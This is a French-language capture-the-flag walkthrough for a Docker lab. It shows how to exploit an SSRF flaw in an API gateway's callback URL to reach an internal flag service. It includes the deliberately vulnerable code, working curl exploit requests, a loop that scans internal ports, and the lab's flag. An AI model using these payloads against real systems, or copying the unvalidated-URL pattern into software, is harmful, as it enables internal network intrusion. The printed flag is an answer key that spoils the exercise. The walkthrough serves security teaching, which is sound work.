CTF-6 Walkthrough: API Gateway Breach (SSRF)

Objectif: Exploiter une vulnérabilité SSRF pour accéder à un service interne non exposé et récupérer le flag

---

Scénario

Vous devez auditer une architecture microservices composée de deux services :

- **API Gateway** : Service public exposé sur le port 8080
- **Internal Flag Service** : Service interne contenant le flag, non accessible directement depuis l'extérieur

L'objectif est d'exploiter une faille SSRF pour forcer l'API Gateway à effectuer une requête vers le service interne en votre nom.

Reconnaissance

Étape 1: Explorer l'API Gateway

Démarrez le challenge :

```
cd CTF/CTF-6-api-ssrf
docker-compose up -d --build
```

Accédez à l'API Gateway :

```
curl http://localhost:8080
```

Vous pouvez utiliser Postman

Réponse :

```
{
  "service": "API Gateway",
  "version": "1.0.0",
  "endpoints": {
    "POST /api/report": "Send a report with callback URL",
    "GET /health": "Health check"
  }
}
```

Étape 2: Tester l'endpoint /api/report

L'endpoint `/api/report` accepte une URL de callback. Testons-le :

```
curl -X POST http://localhost:8080/api/report \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://example.com"}'
```

Observation : L'API Gateway effectue une requête HTTP vers l'URL fournie. C'est un vecteur potentiel pour une attaque SSRF !

Étape 3: Identifier le service interne

Explorons l'endpoint `/internal/status` :

```
curl http://localhost:8080/internal/status
```

Réponse :

```
{
  "message": "Internal services are accessible only within the network",
  "internal_service": "internal-flag:8080",
  "note": "Direct access from outside is not possible"
}
```

Information clé : Le service interne s'appelle `internal-flag` et écoute sur le port 8080.

Analyse de la vulnérabilité

Le code vulnérable (gateway/app.py)

```
@app.post("/api/report")
async def create_report(request: ReportRequest):
    callback_url = request.callback_url

    try:
        async with httpx.AsyncClient(timeout=10.0) as client:
            headers = {
                "X-Internal-Request": "true",
                "X-Gateway-Source": "api-gateway",
                "User-Agent": "InternalGateway/1.0"
            }

            response = await client.get(callback_url, headers=headers)

            return {
                "status": "success",
                "message": "Report processed and callback executed",
                "callback_response": {
                    "status_code": response.status_code,
                    "content": response.text[:500]
                }
            }
    except httpx.RequestError as e:
        raise HTTPException(status_code=400, detail=f"Callback request failed: {str(e)}")
```

Points critiques

1. **Pas de validation de l'URL** : L'API accepte n'importe quelle URL sans filtrage
2. **Headers automatiques** : L'API Gateway ajoute automatiquement `X-Internal-Request: true`
3. **Accès réseau interne** : Le Gateway peut accéder au réseau Docker privé
4. **Réponse retournée** : Le contenu de la réponse est retourné au client

Protection du service interne (internal-flag/app.py)

```
@app.get("/flag")
async def get_flag(x_internal_request: Optional[str] = Header(None)):
    if x_internal_request != "true":
        raise HTTPException(
            status_code=403,
            detail="This endpoint is only accessible from internal services"
        )

    return {
        "status": "success",
        "flag": FLAG,
        "message": "Congratulations!"
    }
```

Faiblesse : L'authentification repose uniquement sur un header HTTP facilement forgeable par le Gateway.

Exploitation

Solution : SSRF via callback_url

L'idée est d'utiliser l'API Gateway comme proxy pour accéder au service interne :

1. L'API Gateway accepte n'importe quelle URL
2. Elle ajoute automatiquement le header `X-Internal-Request: true`
3. Elle a accès au réseau Docker interne
4. Elle retourne la réponse au client

Étape 1: Tenter un accès direct (échec attendu)

```
curl http://localhost:8080/flag
```

Résultat : Erreur 404 - L'endpoint n'existe pas sur le Gateway

Étape 2: Exploiter le SSRF

Utilisez l'endpoint `/api/report` pour forcer le Gateway à accéder au service interne :

```
curl -X POST http://localhost:8080/api/report \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://internal-flag:8080/flag"}'
```

Étape 3: Récupérer le flag

Réponse :


```
{
  "status": "success",
  "message": "Report processed and callback executed",
  "callback_response": {
    "status_code": 200,
    "content": "{\"status\":\"success\",\"flag\":\"CTF{htrq56FZAQ}\",\"message\":\"Congratulations! You successfully exploited the S
  }
}
```


FLAG TROUVÉ : `CTF{htrq56FZAQ}`

Concepts clés

SSRF (Server-Side Request Forgery)

Définition : Vulnérabilité permettant à un attaquant de forcer un serveur à effectuer des requêtes HTTP arbitraires.

Impact :

- Accès à des services internes non exposés
- Scan de ports internes
- Exfiltration de données
- Contournement de pare-feu

Architecture microservices

Principe : Division d'une application en services indépendants communiquant via réseau.

Risques :

- Surface d'attaque élargie
- Confiance inter-services
- Complexité de sécurisation

Trust boundaries

Concept : Frontières entre zones de confiance différentes.

Dans ce CTF :

- Zone publique : API Gateway
- Zone privée : Service interne
- **Erreur** : Confiance aveugle basée sur le réseau

Variantes d'exploitation

1. Scan de ports internes

```
# Scanner les ports du service interne
for port in {8080,8081,8082,3306,5432}; do
  curl -X POST http://localhost:8080/api/report \
    -H "Content-Type: application/json" \
    -d "{\"callback_url\": \"http://internal-flag:$port\"}"
done
```

2. Accès à d'autres endpoints

```
# Explorer les autres endpoints du service interne
curl -X POST http://localhost:8080/api/report \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://internal-flag:8080/info"}'
```

Ressources complémentaires

- OWASP - Server-Side Request Forgery
- PortSwigger - SSRF Attacks
- HackerOne SSRF Reports
- SSRF Bible
